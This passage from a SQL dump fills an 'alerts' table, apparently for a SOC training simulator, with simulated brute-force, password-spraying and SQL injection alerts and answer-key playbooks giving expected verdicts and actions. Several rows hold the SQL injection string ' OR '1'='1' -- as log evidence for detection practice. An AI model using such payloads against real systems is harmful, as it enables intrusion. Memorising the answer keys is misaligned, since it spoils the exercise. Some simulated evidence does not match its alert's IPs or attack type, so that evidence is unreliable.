3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:40:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.120\\\",\\\"dst_ip\\\":\\\"10.0.0.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.940Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:40:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.120\\\",\\\"dst_ip\\\":\\\"10.0.0.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1671, 'Suspicious Login Attempts Detected on Internal Network', 'medium', 'Wazuh', 'Detected multiple login failures from an external IP targeting internal resources, indicating a potential password spraying attack.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T17:15:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.66\",\"dst_ip\":\"192.168.1.35\",\"username\":\"employee\",\"hostname\":\"internal-portal\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.66\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for frequent login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"employee\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP\'s OSINT result confirms it as a malicious source, justifying the alert.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.941Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.66\\\",\\\"dst_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"employee\\\",\\\"hostname\\\":\\\"internal-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.941Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.66\\\",\\\"dst_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"employee\\\",\\\"hostname\\\":\\\"internal-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.941Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.66\\\",\\\"dst_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"employee\\\",\\\"hostname\\\":\\\"internal-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.941Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.66\\\",\\\"dst_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"employee\\\",\\\"hostname\\\":\\\"internal-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.941Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.66\\\",\\\"dst_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"employee\\\",\\\"hostname\\\":\\\"internal-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1672, 'Password Spraying Attack Against Internal Web Portal', 'high', 'Azure Sentinel', 'Detected a high number of failed login attempts from a single IP address across multiple user accounts.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:30:20Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.130\",\"dst_ip\":\"10.0.0.40\",\"username\":\"user4\",\"hostname\":\"internal-web\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.130\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP engaged in password spraying\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user4\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The malicious activity and OSINT results confirm the password spraying attack.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.943Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:30:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.130\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"user4\\\",\\\"hostname\\\":\\\"internal-web\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.943Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:30:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.130\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"user4\\\",\\\"hostname\\\":\\\"internal-web\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.943Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:30:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.130\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"user4\\\",\\\"hostname\\\":\\\"internal-web\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.943Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:30:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.130\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"user4\\\",\\\"hostname\\\":\\\"internal-web\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.943Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:30:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.130\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"user4\\\",\\\"hostname\\\":\\\"internal-web\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1673, 'SSH Brute Force Detected from Domestic IP', 'medium', 'Splunk', 'A domestic IP address was flagged for making multiple failed SSH login attempts to a server, indicating a possible brute force.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T19:05:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.99\",\"dst_ip\":\"10.0.0.50\",\"username\":\"root\",\"hostname\":\"domestic-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP flagged for unusual activity, but not malicious\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP activity was suspicious but not confirmed malicious, leading to the conclusion of a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T19:05:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"domestic-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T19:05:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"domestic-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T19:05:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"domestic-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T19:05:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"domestic-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T19:05:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"domestic-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1674, 'Unusual Brute Force Activity from Known Good IP', 'low', 'Elastic SIEM', 'Failed login attempts detected from an IP address previously identified as benign, suggesting potential misconfiguration.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T20:30:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.140\",\"dst_ip\":\"10.0.0.60\",\"username\":\"admin\",\"hostname\":\"test-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.140\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP not associated with any known malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.60\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s clean OSINT result and previous benign reputation indicate a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.946Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.140\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"test-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.946Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.140\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"test-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.946Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.140\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"test-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.946Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.140\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"test-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.946Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.140\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"test-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1675, 'Unsuccessful Password Spraying Attempt', 'medium', 'Wazuh', 'An IP address was observed making multiple unsuccessful login attempts across several accounts, potentially indicating a password spraying attempt.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T21:40:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.77\",\"dst_ip\":\"192.168.1.75\",\"username\":\"test\",\"hostname\":\"web-auth\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP flagged due to abnormal activities but not confirmed malicious\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"test\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The suspicious activity was not confirmed as malicious, classifying the event as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.948Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T21:40:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.77\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"test\\\",\\\"hostname\\\":\\\"web-auth\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.948Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T21:40:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.77\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"test\\\",\\\"hostname\\\":\\\"web-auth\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.948Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T21:40:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.77\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"test\\\",\\\"hostname\\\":\\\"web-auth\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.948Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T21:40:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.77\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"test\\\",\\\"hostname\\\":\\\"web-auth\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.948Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T21:40:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.77\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"test\\\",\\\"hostname\\\":\\\"web-auth\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1676, 'SQL Injection Attempt Detected on Public-Facing Web Server', 'critical', 'Splunk', 'SQL injection attempt detected in a web request targeting a public-facing web server.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T22:50:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.0.2.60\",\"dst_ip\":\"10.0.0.80\",\"username\":\"none\",\"hostname\":\"public-web\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.80\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The malicious payload and IP reputation confirm the SQL injection attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.950Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:50:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.60\\\",\\\"dst_ip\\\":\\\"10.0.0.80\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"public-web\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.950Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:50:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.60\\\",\\\"dst_ip\\\":\\\"10.0.0.80\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"public-web\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' 